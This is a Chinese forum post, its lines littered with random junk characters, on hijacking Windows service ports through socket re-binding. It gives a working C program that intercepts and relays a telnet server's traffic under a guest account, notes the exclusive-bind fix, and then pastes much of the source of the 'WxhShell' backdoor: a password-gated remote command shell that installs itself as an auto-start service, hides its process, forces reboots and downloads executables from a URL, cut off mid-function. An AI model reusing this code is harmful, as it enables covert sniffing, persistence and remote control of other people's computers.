社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17503阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M)I&^mm39  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5U3="L  
k2<VUeW5  
  saddr.sin_family = AF_INET; \ zhT1#O  
H]UM2.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x~j%  
lx U}HM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }v0oFY$u`H  
sUfH1w)0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !7AW_l9`i  
[*vk&  
  这意味着什么?意味着可以进行如下的攻击: BA A)IQF  
}n:'@}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UG&/0{j5XV  
G}BO!Z6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Tp)-L0kD_k  
f*1.Vg0`-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2ztP'  
bzk@6jR1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1xL2f&bG  
bH3-#mw5w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?%;7k'0"  
G0CmY43  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _s|C0Pt  
~hE"B) e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tE3!;  
-AD3Pd|Y[  
  #include {/XzIOO;b  
  #include p!|Wp  
  #include >Ah [uM  
  #include    B6MMn.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ysGK5kFz  
  int main() asj^K|.z  
  { O6Xu/X]  
  WORD wVersionRequested; 4}W*,&_  
  DWORD ret; d01bt$8>  
  WSADATA wsaData; 4@/[aFH  
  BOOL val; t$]lK6  
  SOCKADDR_IN saddr; |M)'@s:  
  SOCKADDR_IN scaddr; BtVuI5*h  
  int err; _+ oX9  
  SOCKET s; nI|jUD +y  
  SOCKET sc; rVt6tx  
  int caddsize; db@i*Bf  
  HANDLE mt; h.sH:]Z  
  DWORD tid;   o" &7$pAh  
  wVersionRequested = MAKEWORD( 2, 2 ); XlV#)JX  
  err = WSAStartup( wVersionRequested, &wsaData ); lDCoYX_  
  if ( err != 0 ) { J6n@|L!yO  
  printf("error!WSAStartup failed!\n"); dF5EIPl;J  
  return -1; TW{.qed8^  
  } BV9B}IV  
  saddr.sin_family = AF_INET; \P^WUWY  
   eqZ V/a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #=OKY@z/  
:nC Gqg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xl5mI~n_~  
  saddr.sin_port = htons(23); |@sUN:G4k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CS:j->  
  { L'H'E,  
  printf("error!socket failed!\n"); 52C>f6w  
  return -1; `rbTB3?  
  } C6M|A3^T  
  val = TRUE; crz )F"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 VI74{='=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :JV= Kt  
  { *q=pv8&*s  
  printf("error!setsockopt failed!\n"); |k^'}n  
  return -1; =v:vc~G6  
  } ht (RX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *_!nil3(i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pTprU)sa7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ltwX-   
aiF7\^aw$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) brl(7_ 2  
  { r0+lH:G*q  
  ret=GetLastError(); u+&BR1)C  
  printf("error!bind failed!\n"); 7!]$XGz[  
  return -1; )%-FnW  
  } ]p\7s  
  listen(s,2); \v)Dy)Vhg2  
  while(1) QpBgG~h"  
  { W.r0W2))(  
  caddsize = sizeof(scaddr); <ZSH1~<{6  
  //接受连接请求 58DkVQ6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WJ<nc+/v:  
  if(sc!=INVALID_SOCKET) M56^p ,  
  { g"EvMv&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4&r[`gL  
  if(mt==NULL) Xx~OZ^t&Vn  
  { 9s>q4_D  
  printf("Thread Creat Failed!\n"); WldlN?[j  
  break; }rj.N98  
  } B: \\aOEj  
  } Pv17wUB  
  CloseHandle(mt); lG I1LUo  
  } Aq yR+  
  closesocket(s); IlVz 5#R  
  WSACleanup(); !TA6-]1  
  return 0; (+`pEDD{X  
  }   %YkJ A:  
  DWORD WINAPI ClientThread(LPVOID lpParam) aHNR0L3$}{  
  { ]>tYU   
  SOCKET ss = (SOCKET)lpParam; ,|D_? D)U  
  SOCKET sc; (#k>cA(}  
  unsigned char buf[4096]; )e d5~ok  
  SOCKADDR_IN saddr; 4/;hA z  
  long num; jVC`38|  
  DWORD val; /BjM&v(5/  
  DWORD ret; 12`q9Io"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'W(+rTFf!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %PRG;kR  
  saddr.sin_family = AF_INET; (OwAhjHE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {F6>XuS=u  
  saddr.sin_port = htons(23); B 7zyMh   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4nK\gXz19  
  { t~H'Ugv^  
  printf("error!socket failed!\n"); IFcxyp  
  return -1; tJ>%Xop  
  } N: ?UA  
  val = 100; %X7R_>.   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y~gDS^8  
  { dw#K!,g  
  ret = GetLastError(); #?\$*@O  
  return -1; $M{MOehZ  
  } Xb?:dlu3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tS!Fn Qg4  
  { Veo*-sl  
  ret = GetLastError(); _0N=~`'  
  return -1; !m"LIa#/Cs  
  } \X.CYkgK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7r;7'X5  
  { Jmrs@  
  printf("error!socket connect failed!\n"); 8mjPa^A  
  closesocket(sc); "O{j}QwY  
  closesocket(ss); rH*1bDL  
  return -1; 5b>-t#N,  
  } HK&Ul=^VN|  
  while(1) .B?6  
  { 3 <}\{jT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +Ysm6n '  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Fa<>2KkOr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W!vN (1:(  
  num = recv(ss,buf,4096,0); wNo2$>*  
  if(num>0) Q6blX6DWU  
  send(sc,buf,num,0); (3cJ8o>&  
  else if(num==0) hgIqr^N9  
  break; Zk,` Iq  
  num = recv(sc,buf,4096,0); kt`_n+G  
  if(num>0) BIGln`;,f  
  send(ss,buf,num,0); E Q 'L"  
  else if(num==0) )4:K@  
  break; Loz5[L  
  } 0U|t@&q  
  closesocket(ss); rPhx^ QKH2  
  closesocket(sc); \ #<.&`8B  
  return 0 ; EQe!&;   
  } "NEg]LB5  
}L mhM  
!d nCrR  
========================================================== g)0>J  
YnM&t ;TX  
下边附上一个代码,,WXhSHELL w-iu/|}  
< z':_,  
========================================================== Pq\ `0/4_  
kY>jp@w V  
#include "stdafx.h" mzw`{Oy>L  
w>#{Nl7gz  
#include <stdio.h> ]oT8H?%*Y  
#include <string.h> ;f;A"  
#include <windows.h> xgDd5`W  
#include <winsock2.h> (V&5EO8)  
#include <winsvc.h> d}D%%noIu  
#include <urlmon.h> (=A61]yB  
grD[7;1~:)  
#pragma comment (lib, "Ws2_32.lib") bn 7"!6  
#pragma comment (lib, "urlmon.lib") 9NF2a)&~  
_{j'` #  
#define MAX_USER   100 // 最大客户端连接数 rU6F$I=  
#define BUF_SOCK   200 // sock buffer Cws;6i*=@  
#define KEY_BUFF   255 // 输入 buffer s!k7Wwj  
G5WQTMzf&  
#define REBOOT     0   // 重启 d]A.=NAc  
#define SHUTDOWN   1   // 关机 PP*6nW8  
u<L<o 2  
#define DEF_PORT   5000 // 监听端口 ^}SP,lg'  
4X-"yQ<U  
#define REG_LEN     16   // 注册表键长度 CdBpz/  
#define SVC_LEN     80   // NT服务名长度 bG0 |+k3O  
87!D@Xn  
// 从dll定义API Eep~3U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  yqH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .lsD+}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LTZ8Eu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cI Sugk~  
o*MiKgQ&  
// wxhshell配置信息 2[!3!@.  
struct WSCFG { is~"yE7  
  int ws_port;         // 监听端口 #|PPkg%v<  
  char ws_passstr[REG_LEN]; // 口令 7MWd(n-  
  int ws_autoins;       // 安装标记, 1=yes 0=no J.E Bt3  
  char ws_regname[REG_LEN]; // 注册表键名 G]]"J c  
  char ws_svcname[REG_LEN]; // 服务名 ]ilQq~X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1.9bU/X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GLO%>&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y+\kZIqX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]z5kYU&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s5bqS'%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3_bE12  
ZLjEH7  
}; X<%`  
K}t=Y  
// default Wxhshell configuration Vu`5/QDq  
struct WSCFG wscfg={DEF_PORT, 1Clid\T,o  
    "xuhuanlingzhe", uTShz3  
    1, V` T l$EF  
    "Wxhshell", LC1WVK/  
    "Wxhshell", ]OSq}ul  
            "WxhShell Service", eA{ nwtN  
    "Wrsky Windows CmdShell Service", Y/x>wNW  
    "Please Input Your Password: ", pV8_i7\  
  1, nND; lVQSO  
  "http://www.wrsky.com/wxhshell.exe", Z~0TO-Q  
  "Wxhshell.exe" lRk_<A  
    }; b(IZ:ekZ5  
(himx8Uml2  
// 消息定义模块 <x8I<K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &4O2uEW0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YpOcLxFL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hv  
char *msg_ws_ext="\n\rExit."; +\doF  
char *msg_ws_end="\n\rQuit."; |(%=zb=?X  
char *msg_ws_boot="\n\rReboot..."; M7[GwA[Z +  
char *msg_ws_poff="\n\rShutdown..."; xTU;rJV  
char *msg_ws_down="\n\rSave to "; .5"s[(S  
.FN;3HU  
char *msg_ws_err="\n\rErr!"; &SG5 f[  
char *msg_ws_ok="\n\rOK!"; mtg=v@~  
$@D*/@  
char ExeFile[MAX_PATH]; L6?~<#-m\M  
int nUser = 0; 7|HIl=  
HANDLE handles[MAX_USER]; YQ$LU \:  
int OsIsNt; "S]G+/I|iw  
kwXUjn p  
SERVICE_STATUS       serviceStatus; {/FdrS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D6dliU?k  
/Rf,Rjs  
// 函数声明 Z0/$XS9|h;  
int Install(void); CnpQdI  
int Uninstall(void); fsl ZJE  
int DownloadFile(char *sURL, SOCKET wsh); ~.tl7wKkR/  
int Boot(int flag); ^e]O-,UBk  
void HideProc(void); 0HO'%'Ga*  
int GetOsVer(void); EI9;J-c  
int Wxhshell(SOCKET wsl); x8xz33  
void TalkWithClient(void *cs); {Rdh4ZKh  
int CmdShell(SOCKET sock); =@nE:uto]  
int StartFromService(void); .L9g*q/}  
int StartWxhshell(LPSTR lpCmdLine); t~H0Qeb[v=  
}[{9u#@#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :GN++\ 1pw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?KB] /gT^  
74 W Ky  
// 数据结构和表定义 }rvX}   
SERVICE_TABLE_ENTRY DispatchTable[] = =9Vo[  
{ gyQPQ;"H$2  
{wscfg.ws_svcname, NTServiceMain}, !4a#);`G  
{NULL, NULL} m-6&-G#  
}; ~ulcLvm:i  
Q:j~ kutS|  
// 自我安装 i&1rf|  
int Install(void) C B`7KK  
{ Gshy$'_e  
  char svExeFile[MAX_PATH]; EJP]E)  
  HKEY key; '6kD6o_p1  
  strcpy(svExeFile,ExeFile); E/hT/BOPK  
cij8'( "+!  
// 如果是win9x系统,修改注册表设为自启动 x=Aq5*A0  
if(!OsIsNt) { Kx?.g#>U;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *;(^)Sj4Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?@z/#3b  
  RegCloseKey(key); 9Trk&OB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FWB *=.A9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I94-#*~I  
  RegCloseKey(key); jo?[M  
  return 0; ~F53{qxV  
    } YV _ 7 .+A  
  } &"?99E>  
} Z4X, D`s  
else { l1#.r g  
qqJghV$Oj  
// 如果是NT以上系统,安装为系统服务 NiFe#SLA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h56Kmxxk  
if (schSCManager!=0) q9H\ $  
{ em95ccs'-  
  SC_HANDLE schService = CreateService =W;e9 6#  
  ( ubZJUm  
  schSCManager, bEB2q\|Je  
  wscfg.ws_svcname, 3~Lsa"/  
  wscfg.ws_svcdisp, c5|sda{  
  SERVICE_ALL_ACCESS, Vo6+|ztk|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vsyg u  
  SERVICE_AUTO_START, oeZUd}P  
  SERVICE_ERROR_NORMAL, HYmUD74FR  
  svExeFile, q`'"+`h  
  NULL, t`'jr=e,~  
  NULL, 0VrsbkS  
  NULL, {n&n^`Em  
  NULL, Z)IF3{*  
  NULL (t\U5-w  
  ); IRdR3X56  
  if (schService!=0) $hHV Ie]+  
  { *Ojl@N  
  CloseServiceHandle(schService); piH0_7qr  
  CloseServiceHandle(schSCManager); Q)y5'u qZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mo3A*|U  
  strcat(svExeFile,wscfg.ws_svcname); m?; ?I]`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sYo&@~T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h1"|$  
  RegCloseKey(key); 1hlU 6 =Y  
  return 0; {=\Fc`74  
    } B;F ~6i  
  } ahIDKvJ4  
  CloseServiceHandle(schSCManager); ij|>hQC5i  
} S*>T%#F6Uo  
} NM^uP+uS  
wx[m-\  
return 1; ~#4FL<W  
} Be6+YM5Cl  
O_ZYm{T[7  
// 自我卸载 : 8j7}'  
int Uninstall(void) ?;_>BX|Zjl  
{ Xtfs)"  
  HKEY key; +Z2XP76(4A  
x;sc?5_`  
if(!OsIsNt) { u#rbc"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a|= ^   
  RegDeleteValue(key,wscfg.ws_regname); vG.KSA  
  RegCloseKey(key);  BdiV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ +>e hU  
  RegDeleteValue(key,wscfg.ws_regname); P[-do  
  RegCloseKey(key); *Ti"8^`6  
  return 0; ]j>`BK>FE  
  } ^iBIp#  
} 122s 7A  
} dCS f$5  
else { ]jm:VF]4  
7i{(,:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *Ow2,{Nn  
if (schSCManager!=0) W;cY g.W2  
{ tk*-Cx?_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +t%2V?  
  if (schService!=0) ."=p\:^j*  
  { b>8TH-1t~  
  if(DeleteService(schService)!=0) { A6 .wXv,  
  CloseServiceHandle(schService); $.kJBRgV*  
  CloseServiceHandle(schSCManager); L-:@Om!  
  return 0; s3nO"~tM  
  } ;Vc|3  
  CloseServiceHandle(schService); In?#?:Q@&  
  } pqb`g@  
  CloseServiceHandle(schSCManager); |,5|ZpgL  
} $H[q5(_~  
} fqY'Uq$=  
oSmETk\  
return 1; jwAYlnQ^EM  
} ,OubKcNg  
<qpzs@  
// 从指定url下载文件 9( q(;|;Hp  
int DownloadFile(char *sURL, SOCKET wsh) #T2J +  
{ 1%*\*z  
  HRESULT hr; 7(X z%v   
char seps[]= "/"; GM'yOJo  
char *token; YI;iG[T,&  
char *file; "O0xh_Nr  
char myURL[MAX_PATH]; 8{/.1:  
char myFILE[MAX_PATH]; D>7J[ Yxg-  
J{prI;]K  
strcpy(myURL,sURL); (YYg-@IO  
  token=strtok(myURL,seps); |%F,n2  
  while(token!=NULL) ] uyp i#[  
  { (DY[OIHI  
    file=token; Xpn\TD<_I  
  token=strtok(NULL,seps); [2Zy~`*y{  
  } Wh| T3&  
/z4c>)fV  
GetCurrentDirectory(MAX_PATH,myFILE); Y8]@y0(  
strcat(myFILE, "\\"); 2vLun   
strcat(myFILE, file); 72"H#dy%U  
  send(wsh,myFILE,strlen(myFILE),0); r *6S1bW  
send(wsh,"...",3,0); (g/A uL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =t)qy5  
  if(hr==S_OK) isd-b]@:Lc  
return 0; TUC)S&bC  
else YfB)TK\W9/  
return 1; 85H \v_[  
9QLG:(~;  
} d[p2? ]  
<>9!oOa  
// 系统电源模块 [bP^RY:  
int Boot(int flag) eBnx$  
{ tx>7?e8E  
  HANDLE hToken; E5)0YYjHZ  
  TOKEN_PRIVILEGES tkp; T\bP8D  
]q{_i   
  if(OsIsNt) { QCb%d'_w+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uf#h~;B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z;81 "   
    tkp.PrivilegeCount = 1; 'xj5R=V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l7qW)<r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w/ rQOHV{  
if(flag==REBOOT) { y42 Cg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aMY@**^v  
  return 0; ~[t#$2d}  
} `qs}L  
else { ]&]DF Y~n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "%Y=+  
  return 0; c_*w<vJ-'  
} -'d:~:1f  
  } yiC7)=  
  else { s. A}ydtt  
if(flag==REBOOT) { EUuSN| a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e~zgH\`  
  return 0; `HQ)][  
} 4BCe;Q^6  
else { eN,9N]K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ga%\n!S  
  return 0; O8$~dzf,2  
} w=WF$)ZU  
} IUv#nB3  
s__xBY  
return 1; sV a0eGc  
} \Dq'~ d  
rN} 8~j  
// win9x进程隐藏模块 KoNu{TJ  
void HideProc(void) N~8H\  
{ 8.B'O>\T  
Mt-r`W3 q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1l#46?]~  
  if ( hKernel != NULL ) 8A3/@Z;0S  
  { #\lvzMjCC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F5 ]<=i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j9[I6ko5'  
    FreeLibrary(hKernel); $YEm(:v$  
  } -9t"$)&  
mYgfGPF`  
return; Mi8)r_l%O  
} [cd1Mf:[Y  
]A=\P,D  
// 获取操作系统版本 ~?ezd0  
int GetOsVer(void) )xV37]  
{ ]E<Z5G1HD  
  OSVERSIONINFO winfo; T\}U{9ELL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O68-G  
  GetVersionEx(&winfo); JpfA+r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >[;@ [4}  
  return 1; F*PhV|XU  
  else -/JEKw c  
  return 0; (^}t  
} ?lsK?>uU  
.u7} p#  
// 客户端句柄模块 xyGwYv>*KO  
int Wxhshell(SOCKET wsl) 34u[#O{2  
{ cr!W5+r  
  SOCKET wsh; Jh E C  
  struct sockaddr_in client; iX+8!>Q  
  DWORD myID; JKM(fX+  
+ausm!~6  
  while(nUser<MAX_USER) I </P_:4G  
{ f $Agcy  
  int nSize=sizeof(client); "i;.>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xO )c23Z)]  
  if(wsh==INVALID_SOCKET) return 1; 4<#ItQ(  
i86:@/4~F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F5Xb_&   
if(handles[nUser]==0) TI7$J#  
  closesocket(wsh); X#&5?oq`  
else 5eori8gr7  
  nUser++; r V%6 8x9  
  } _R ii19k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,_kw}_n=  
jy!]MAP#Gk  
  return 0; gS +X%  
} M#'7hm6  
&IUA[{o~e  
// 关闭 socket ~][~aEat;V  
void CloseIt(SOCKET wsh) 03fOm  
{ / (BS<A  
closesocket(wsh); ]\xt[/?{  
nUser--; OCx'cSs-=  
ExitThread(0); `Ow]@flLI  
} lz0-5z+\  
, lR(5ZI  
// 客户端请求句柄 ]jhi"BM  
void TalkWithClient(void *cs) a20w.6F  
{ iP(MDVg  
gFTU9k<  
  SOCKET wsh=(SOCKET)cs; lKejWT`;  
  char pwd[SVC_LEN]; JI!1 .]&  
  char cmd[KEY_BUFF]; vMp=\U-~^  
char chr[1]; ;-u]@35  
int i,j; %1A8m-u]M  
89&9VX^A  
  while (nUser < MAX_USER) { C|&tdh :g  
2X2Ax~d@  
if(wscfg.ws_passstr) { F|F0#HC ?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yQrgOdo,w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s5@BVD'}E  
  //ZeroMemory(pwd,KEY_BUFF);  BjH|E@z  
      i=0; aH6j,R%  
  while(i<SVC_LEN) { fS4foMI63)  
}h;Z_XF&  
  // 设置超时 -NwG' U~  
  fd_set FdRead; ` 7iA?;  
  struct timeval TimeOut; %Y ZC dS  
  FD_ZERO(&FdRead); fxcE1=a  
  FD_SET(wsh,&FdRead); FvT4?7-  
  TimeOut.tv_sec=8; NRx 7S 9W  
  TimeOut.tv_usec=0; v)du]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9Ad%~qciY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1!1JT;gG^9  
|Gz<I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bra2xHK@  
  pwd=chr[0]; R1LirZlzJ  
  if(chr[0]==0xd || chr[0]==0xa) { :(~<BiqR(  
  pwd=0; `C>h]H(  
  break; \;0pjxq=  
  } F\JS?zt2  
  i++; %DiQTg7V,  
    } i 7]o[  
AJ/Hw>>$?m  
  // 如果是非法用户,关闭 socket 4xW~@m eNB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @JlT*:Dz  
} )isS^O$qH  
M]5l-i$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oi0O4J%H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n8EKTuy  
VzSkqWF/"  
while(1) { lD$s, hp  
\>:t={>;  
  ZeroMemory(cmd,KEY_BUFF); P[ o"%NZ'  
$R #_c}  
      // 自动支持客户端 telnet标准   MlWKfe<  
  j=0; Jzf+"%lv  
  while(j<KEY_BUFF) { PJB_"?NTTC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1^$hbRq  
  cmd[j]=chr[0]; LE}`rW3  
  if(chr[0]==0xa || chr[0]==0xd) { <o()14  
  cmd[j]=0; X{#^O/  
  break; q,fp DNo  
  } _(f@b1O~  
  j++; =~O3j:<6  
    } "T5jz#H#/  
7{U[cG+a#  
  // 下载文件 4}N+o+  
  if(strstr(cmd,"http://")) { 15{^waR6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3|$?T|#B  
  if(DownloadFile(cmd,wsh)) RgoF4g+@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *m "@*O'  
  else "-S!^h/v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h:Gs9]Lvtv  
  } x}a?B  
  else { GThGV"  
\Nik`v*Pd  
    switch(cmd[0]) { eM$a~4!d  
  %. ((4 6)  
  // 帮助 ;,U@zB;\%(  
  case '?': { ]Qe~|9I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Eo$l-Hl5=  
    break; T+XcEI6w  
  } ?T73BL=  
  // 安装 > U3>I^Y  
  case 'i': { o Rk'I  
    if(Install()) a'` i#U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `GqF/?i  
    else XzV>q~I3|E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hRuiuGC  
    break; !m\By%(  
    } u*l>)_HD  
  // 卸载 ;0_T\{H"nR  
  case 'r': { %pg)*>P h  
    if(Uninstall()) Z=-#{{bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w#9.U7@.  
    else TCzz]?G]la  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IJ.H/l}h  
    break; `ci  P  
    } < *iFVjSI(  
  // 显示 wxhshell 所在路径 hlyh8=Z6o  
  case 'p': { LGy6 2 y$  
    char svExeFile[MAX_PATH]; 0e>?!Z E  
    strcpy(svExeFile,"\n\r"); L~+aD2 E {  
      strcat(svExeFile,ExeFile); >}.~Y#Ge  
        send(wsh,svExeFile,strlen(svExeFile),0); &z3_N  
    break; (Ajhf}zJ  
    } 7y&=YCkc7  
  // 重启 O^c?w8   
  case 'b': { ;xTMOuI*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ? }^ y6  
    if(Boot(REBOOT)) ,%m~OB #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dT1UYG}>j  
    else { \l(}8;5}  
    closesocket(wsh); miBCq l@x  
